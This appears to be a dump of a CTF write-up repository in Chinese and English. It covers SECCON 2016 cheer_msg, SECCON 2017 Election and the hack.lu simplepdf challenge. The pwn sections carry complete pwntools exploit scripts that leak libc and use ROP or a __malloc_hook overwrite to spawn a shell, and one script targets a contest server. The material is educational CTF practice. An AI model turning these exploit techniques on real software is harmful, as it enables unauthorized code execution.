0x6010c0 8 | 9 | print r.recvuntil('NAME : ') 10 | 11 | raw_input('#') 12 | 13 | r.sendline('A'*8) 14 | 15 | # padding offset of argv[0] is 376 16 | 17 | for i in range(5, 2, -1): 18 | print r.recvuntil('>> ') 19 | r.sendline('B' * (376+i)) 20 | 21 | print r.recvuntil('>> ') 22 | r.sendline('B'*376 + p64(flag_txt)) 23 | 24 | print r.recvuntil('>> ') 25 | r.sendline('yes') 26 | 27 | r.sendlineafter('FLAG : ', 'Q'*8) 28 | 29 | print r.recv() 30 | 31 | r.interactive() 32 | -------------------------------------------------------------------------------- /SECCON-2016-online-CTF/cheer_msg/README.md: -------------------------------------------------------------------------------- 1 | # cheer_msg 2 | 3 | 之前看到 [CTF-pwn-tips](https://github.com/Naetw/CTF-pwn-tips) 裡面提到 `alloca` 的利用方式,才知道這題要怎麼破。今天終於有空把他解出來了XD 4 | 5 | ## Analyze 6 | 7 | 程式一開始會請你輸入 message 的長度,接著利用 `alloca` 針對訊息長度來分配適當的空間。 8 | 查 `alloca` 的 man page 可以發現他是直接在 caller 的 stack frame 上分一塊空間出來的。 9 | 10 | >The alloca() function allocates size bytes of space in the stack frame of the caller. This temporary space is automatically freed when the function that called alloca() returns to its caller. 11 | 12 | 接著如果去看程式的組語會發現他是用 `sub esp, eax` 來實作分配空間,其中 `eax` 和指定的 size 有關。因此如果我們指定 size 為負數,就有機會讓分配空間的位址比當前的 `esp` 還高,從而導致 overflow 等問題。 13 | ## Exploit 14 | 15 | 稍微測試一下後,我選了 -112 當作 size,這會讓分配到的位址,也就是 `esp` 比 `main` 的 `ebp` 還高。接著呼叫 `message` 會造成他的 stack frame 和 `main` 的 stack frame 部分重疊,在我們輸入 `name` 的時候因此可以蓋到 `main` 的 return address 來建 ROP chain。 16 | 17 | ```c 18 | int __cdecl message(int buf, int len) 19 | { 20 | char name; 21 | int v4; 22 | 23 | v4 = *MK_FP(__GS__, 20); 24 | printf("Message >> "); 25 | getnline((char *)buf, len); 26 | printf("\nOops! I forgot to ask your name...\nCan you tell me your name?\n\nName >> "); 27 | getnline(&name, 64); 28 | printf("\nThank you %s!\nMessage : %s\n", &name, buf); 29 | return *MK_FP(__GS__, 20) ^ v4; 30 | } 31 | ``` 32 | 33 | 於是就可以用 `printf` 來 leak libc address,然後 return 回 `main` 重複一次攻擊流程。這次就可以疊 `system("/bin/sh")` 來開 shell 了。 34 | -------------------------------------------------------------------------------- /SECCON-2016-online-CTF/cheer_msg/cheer_msg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/SECCON-2016-online-CTF/cheer_msg/cheer_msg -------------------------------------------------------------------------------- /SECCON-2016-online-CTF/cheer_msg/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | r = remote('127.0.0.1', 4000) 5 | #libc = ELF('libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368') 6 | libc = ELF('/lib32/libc.so.6') 7 | 8 | printf_plt = 0x08048430 9 | fgets_got = 0x804a014 10 | fgets_off = libc.symbols['fgets'] 11 | system_off = libc.symbols['system'] 12 | main = 0x080485ca 13 | 14 | r.sendlineafter('Message Length >> ', '-112') 15 | 16 | rop = p32(printf_plt) + p32(main) + p32(fgets_got) 17 | r.sendlineafter('Name >> ', 'A'*32 + rop) 18 | 19 | # leak libc base address 20 | r.recvuntil('Message : \n') 21 | libc_base = u32(r.recvn(4)) - fgets_off 22 | system = libc_base + system_off 23 | binsh = libc_base + next(libc.search('/bin/sh\x00')) 24 | print 'libc base: ', hex(libc_base) 25 | 26 | #======== ret to main to exploit again, this time we have system ======== 27 | 28 | r.sendlineafter('Message Length >> ', '-112') 29 | 30 | rop = p32(system) + p32(0xdeadbeef) + p32(binsh) 31 | r.sendlineafter('Name >> ', 'A'*32 + rop) 32 | 33 | r.interactive() 34 | -------------------------------------------------------------------------------- /SECCON-2016-online-CTF/cheer_msg/libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/SECCON-2016-online-CTF/cheer_msg/libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 -------------------------------------------------------------------------------- /SECCON-2017-online-CTF/Election/README.md: -------------------------------------------------------------------------------- 1 | # Election 2 | 3 | ``` 4 | Arch: amd64-64-little 5 | RELRO: Full RELRO 6 | Stack: Canary found 7 | NX: NX enabled 8 | PIE: No PIE (0x400000) 9 | ``` 10 | 11 | Too late to complete before ending of competition but at least seeing the flag :D 12 | 13 | ## Analysis 14 | 15 | ``` 16 | *** Election *** 17 | 18 | 1. stand 19 | 2. vote 20 | 3. result 21 | 0. eat chocolate 22 | >> 23 | ``` 24 | 25 | The challenge is a voting system, we can add candidate, vote and display the result. The candidate information is maintain in a linked list with `list` as head. Following is the structure of its node: 26 | 27 | ```c 28 | struct info { 29 | char *name; 30 | struct info *next; 31 | int32_t votes; 32 | }; 33 | ``` 34 | 35 | * `stand`: add a candidate info entry to the list. 36 | * `vote`: find a candidate from the list, increment his votes if exists. 37 | * `result`: display information of each candidate in the list. 38 | 39 | There is a `lv` flag to make sure we can't perform action with small `lv` after doing action with big `lv`. 40 | The vulnerability appears when we vote to candidates named `Oshima`. The system will ask us whether re-vote to correct name with input length 48 bytes, where trigger overflow: 41 | 42 | ```c 43 | printf("I'm not 'Oshima', but 'Ojima'!\nWould you modify the name and re-vote?\n>> "); 44 | getnline(&input_buf, 48); 45 | if ( !strcasecmp(&input_buf, "yes") ) 46 | *(int32_t *)(ojima_info + 16) += votes_num; 47 | ``` 48 | 49 |
50 |  input_buf -> 0x0000616d6968736f      0x00007ffe541629e0
51 |               0x0000000000400800      0x00007f2041059388
52 | ojima_info -> 0x0000000001984090      0x0000000000400901 <- votes_num, only 1 byte
53 |               0x0000000000000000      0x09346bd50b645700
54 |               0x00007ffe54162a00      0x0000000000400972
55 | 
56 | 57 | Hence, we can perform arbitrarily write with ojima_info and votes_num in control. 58 | My plan is overwrite `__malloc_hook` to one gadget to open shell. 59 | 60 | ## Exploit 61 | 62 | First, We need to leak libc address, this can be done by making `list` point to fake entry, whose `name` points to somewhere store libc address. However, we need to make sure that there is an entry in the list with `name` points to `Ojima` so that we can trigger the overflow again to perform subsequent exploit. 63 | Therefore, I utilize the arbitrarily write to construct a series of fake chunk to leak libc address and keep `Ojima` entry in list meanwhile. 64 | 65 |
66 |    list
67 |     |
68 |     |
69 |     ↓      ----------------------------------------------
70 | 0x19d70f0: | 0xffffffffff600804      0x0000000000602050 |---
71 | 0x19d7100: | 0x0000000000000000      0x0000000000020f01 |  |
72 |            ----------------------------------------------  |
73 |      ______________________________________________________|
74 |     |
75 |     ↓      ----------------------------------------------
76 |  0x602050: | 0x0000000000401004      0x0000000000602070 |---
77 |  0x602060: | 0x0000000000000000      0x0000000000000000 |  |
78 |            ----------------------------------------------  |
79 |      ______________________________________________________|
80 |     |
81 |     ↓      ----------------------------------------------
82 |  0x602070: | 0x0000000000601f88      0x0000000000000000 |<-- end of list
83 |  0x602080: | 0x0000000000000000      0x0000000000000000 |
84 |            ----------------------------------------------
85 | 		   
86 | # 0x401004 points to "ojima"
87 | # 0x601f88 points to a libc address
88 | 
89 | 90 | Finally, we can overwrite `__malloc_hook` to one gadget, and overwrite `lv` to 0 so that we can use `stand` function, which include a `malloc` function call to trigger `__malloc_hook` to open shell. 91 | 92 | flag: `SECCON{I5_7h15_4_fr4ud_3l3c710n?}` 93 | -------------------------------------------------------------------------------- /SECCON-2017-online-CTF/Election/election-9724a8d0a6c9ccb131200ec96752c61c0e6734cd9e1bb7b1958f8c88c0bd78fa.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/SECCON-2017-online-CTF/Election/election-9724a8d0a6c9ccb131200ec96752c61c0e6734cd9e1bb7b1958f8c88c0bd78fa.zip -------------------------------------------------------------------------------- /SECCON-2017-online-CTF/Election/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | #r = remote('127.0.0.1', 4000) 5 | r = remote('election.pwn.seccon.jp', 28349) 6 | libc = ELF('libc-2.23.so') 7 | 8 | def stand(name): 9 | r.sendlineafter('chocolate\n>> ', '1') 10 | r.sendafter('Enter the name.\n>> ', name) 11 | 12 | def vote(show, name, new_name): 13 | r.sendlineafter('chocolate\n>> ', '2') 14 | r.sendafter('(Y/n) ', show) 15 | r.sendafter('name of the candidate.\n>> ', name) 16 | if name.lower() == 'oshima': 17 | r.sendafter('re-vote?\n>> ', new_name) 18 | 19 | def result(): 20 | r.sendlineafter('chocolate\n>> ', '3') 21 | 22 | def eat(): 23 | r.sendlineafter('chocolate\n>> ', '4') 24 | 25 | def arbitrary_write(target, value, length): 26 | for i in range(length): 27 | val = (value >> (8*i)) & 0xff 28 | while True: 29 | if val > 0x7f: 30 | vote('y', 'oshima', 'yes\x00AAAA'+'A'*24+p64(target+i-0x10)+chr(0x7f)) 31 | val -= 0x7f 32 | else: 33 | vote('y', 'oshima', 'yes\x00AAAA'+'A'*24+p64(target+i-0x10)+chr(val)) 34 | break 35 | 36 | str_ojima = 0x401004 37 | lv = 0x602010 38 | 39 | # first fake candidate info 40 | # 0xffffffffff600804 is used to fill all 8 bytes such that strdup() will bring 0x602050 to heap 41 | stand(p64(0xffffffffff600804)+p64(0x602050)) 42 | #second fake chunk info 43 | arbitrary_write(0x602050, str_ojima, 3) 44 | arbitrary_write(0x602058, 0x602070, 3) 45 | # third fake chunk info 46 | arbitrary_write(0x602070, 0x601f88, 3) 47 | 48 | # make list point to first fake chunk (0xd0 + 0x20 == 0xf0) 49 | arbitrary_write(0x602028, 0x20, 1) 50 | 51 | # leak libc base 52 | r.sendlineafter('chocolate\n>> ', '2') 53 | r.sendafter('(Y/n) ', 'y') 54 | r.recvuntil('* ojima\n* ') 55 | libc_base = u64(r.recvn(6) + '\x00'*2) - 0x14a940 56 | log.success('libc base: {}'.format(hex(libc_base))) 57 | malloc_hook = libc_base + libc.symbols['__malloc_hook'] 58 | one_gadget = libc_base + 0xf0274 59 | r.sendafter('name of the candidate.\n>> ', 'A'*4) 60 | 61 | # overwrite __malloc_hook to one gadget 62 | arbitrary_write(malloc_hook, one_gadget, 6) 63 | vote('y', 'oshima', 'yes\x00AAAA'+'A'*24+p64(lv-0x10)+'\xfe') 64 | # trigger malloc 65 | stand('C'*4) 66 | 67 | r.interactive() 68 | 69 | # SECCON{I5_7h15_4_fr4ud_3l3c710n?} 70 | -------------------------------------------------------------------------------- /hackluCTF_2016/README.md: -------------------------------------------------------------------------------- 1 | # hackluCTF_2016 2 | -------------------------------------------------------------------------------- /hackluCTF_2016/simplepdf/README.md: -------------------------------------------------------------------------------- 1 | # simplepdf 2 | 3 | 這題給了一個 pdf 檔,裡面夾帶了一個附件 `pdf10000.pdf`,把他打開後裡面又是一個附件 `pdf9999.pdf`,因此猜測應該是有很多層的 pdf 檔把最裡面的東西給包起來了,而且命名也有規則。 4 | 於是上網找了一下能夠提取 pdf 附件的指令,發現了 [pdfdetach](http://www.dsm.fordham.edu/cgi-bin/man-cgi.pl?topic=pdfdetach&sect=1)。主要用到的功能有: 5 | * -list:列出該 pdf 夾帶的所有附件 6 | * -save:儲存指定的附件 7 | 8 | 利用這些寫 script 讓他去一層層拆開該 pdf 檔,並假設至少會一直拆到 `pdf0.pdf` 9 | 10 | ```shell 11 | #!/bin/bash 12 | 13 | pdfdetach -save 1 simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf 14 | 15 | for(( count=10000; count>=0; count=count-1 )) 16 | do 17 | pdfdetach -save 1 "pdf${count}.pdf" 18 | # echo -e "pdf${count}.pdf has been processed !" 19 | done 20 | ``` 21 | 22 | 跑完後發現 `pdf0.pdf` 還解出了一個 `start.pdf`,這個 `start.pdf` 裡面又夾帶著同名的 `start.pdf`,打開來就會看到 flag 了。 23 | 另外應該要把 script 改成讓他邊拆邊把之前解出來的給刪掉比較好,因為全部打開後蠻佔空間的QQ 24 | 25 | `flag{pdf_packing_is_fun}` 26 | -------------------------------------------------------------------------------- /hackluCTF_2016/simplepdf/extractor.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | pdfdetach -save 1 simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf 4 | 5 | for(( count=10; count>=0; count=count-1 )) 6 | do 7 | pdfdetach -save 1 "pdf${count}.pdf" 8 | # echo -e "pdf${count}.pdf has been processed !" 9 | done 10 | -------------------------------------------------------------------------------- /hackluCTF_2016/simplepdf/simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/hackluCTF_2016/simplepdf/simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf --------------------------------------------------------------------------------